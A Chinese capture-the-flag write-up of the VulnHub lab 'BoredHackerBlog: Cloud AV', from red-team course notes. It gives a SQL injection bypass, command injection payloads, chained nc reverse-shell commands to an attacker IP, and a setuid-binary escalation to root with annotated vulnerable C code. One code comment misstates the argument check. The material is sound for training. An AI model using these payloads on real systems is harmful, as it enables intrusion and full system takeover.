打靶笔记_BoredHackerBlog: Cloud AV_writeup
这是在安全牛课堂上的课程《红队/渗透 — 和我一起来打靶》的笔记
靶机简介
靶机名:BoredHackerBlog: Cloud AV
靶机链接:https://www.vulnhub.com/entry/boredhackerblog-cloud-av,453/
难度:简单
目标:获取root权限
提示:链接内容已经包含了十分有用的提示
port scanning
webapp attacks
sql injection
command injection
brute forcing
code analysis
攻击流程
ps:具体攻击过程请看渗透过程及结果
拿shell
- 使用
nmap
扫描靶机,其中22/ssh、8080/httpd开启 - 访问8080/httpd后会看到一个要求输入邀请码的页面
- 使用
burpsuite
的intruder
功能对邀请码网页 不断发送特殊字符,发现输入"
后网页返回报错,告诉了邀请码通过和sql数据的内容比较,返回布尔值来确定邀请码有没有用 - 通过sql注入使得网页验证结果变为1:
"or 1=1--+
- 进入
scan
页面,发现网页功能:发送文件名,对所列靶机内的文件进行病毒扫描。根据提示command injection
,发送文件名hello|id
,发现命令被执行 - 通过
nc串联
,即本地随意开两个nc监听端口4444、4445
,发送文件名hello|nc 10.0.0.1 4444|/bin/bash|nc 10.0.0.1 4445
(10.0.0.1是渗透机ip),得到shell
提权
- 提示中有
code analysis
,并且有一个update_cloud
的已编译文件,该文件属主是root,并且具有sid权限,发送命令update_cloud "a|id"
后返回root
- 这里还是用
nc串联
提权,update_cloud "a|nc 10.0.0.1 4446|/bin/bash|nc 10.0.0.1 4447
代码分析
关于update_cloud
的C语言源代码:(鄙人不才,斗胆加点注释讲解)
#include <stdio.h>
int main(int argc, char *argv[])
{
char *freshclam="/usr/bin/freshclam";
if (argc < 2){ # 如果传入了至少有两个的参数,程序直接停止运行
printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
return 1;
}
char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2); # 通过malloc函数为command指针分配了一个内存,大小为freshclam字符数组的大小加上执行可执行文件传入的第一个参数的大小再加2
sprintf(command, "%s %s", freshclam, argv[1]); # 字符串拼贴函数,将两个字符串拼贴起来存入command
setgid(0); # 更改进程的属组id,
setuid(0);
system(command);
return 0;
}
程序要点
- 如果传入了至少有两个的参数,程序直接停止运行
- 程序会直接执行参数中的内容,并且因为
setuid
setgid
,命令是以root的身份运行的
工具和技术
nmap 扫描
burpsuite的intruder爆破
sql injection sql注入
command injection 命令注入
nc串联 拿shell
linux的sid权限利用
code analysis 代码分析
渗透过程及结果
-
使用
nmap
扫描靶机
-
访问8080/httpd
-
使用
burpsuite
的intruder
功能对邀请码网页 不断发送特殊字符
-
通过sql注入使得网页验证结果变为1,进入scan界面:
"or 1=1--+
-
发送文件名
hello|id
,发现返回id
命令的执行结果
-
nc串联
拿shell
-
通过update_cloud
nc串联
提权
总结反思
通过burpsuite的intruder功能,不断的向目标设备的输入框发送不同的特殊字符,因而发现报错,这是很有用的技巧
当能进行命令注入,且目标设备有nc,就可以使用nc串联获取shell
寻找可利用、具有sid权限的可执行文件,很有可能就得到了取root的途径
代码分析还是比较重要的